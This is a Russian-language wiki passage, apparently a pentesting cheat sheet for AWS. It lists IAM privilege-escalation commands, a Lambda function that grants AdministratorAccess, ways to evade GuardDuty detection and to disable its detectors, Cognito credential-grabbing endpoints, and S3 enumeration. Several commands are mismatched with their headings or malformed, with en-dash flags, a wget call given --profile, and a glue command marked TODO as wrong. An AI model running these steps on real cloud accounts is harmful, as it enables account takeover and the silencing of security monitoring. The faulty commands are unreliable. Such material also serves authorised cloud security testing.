&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
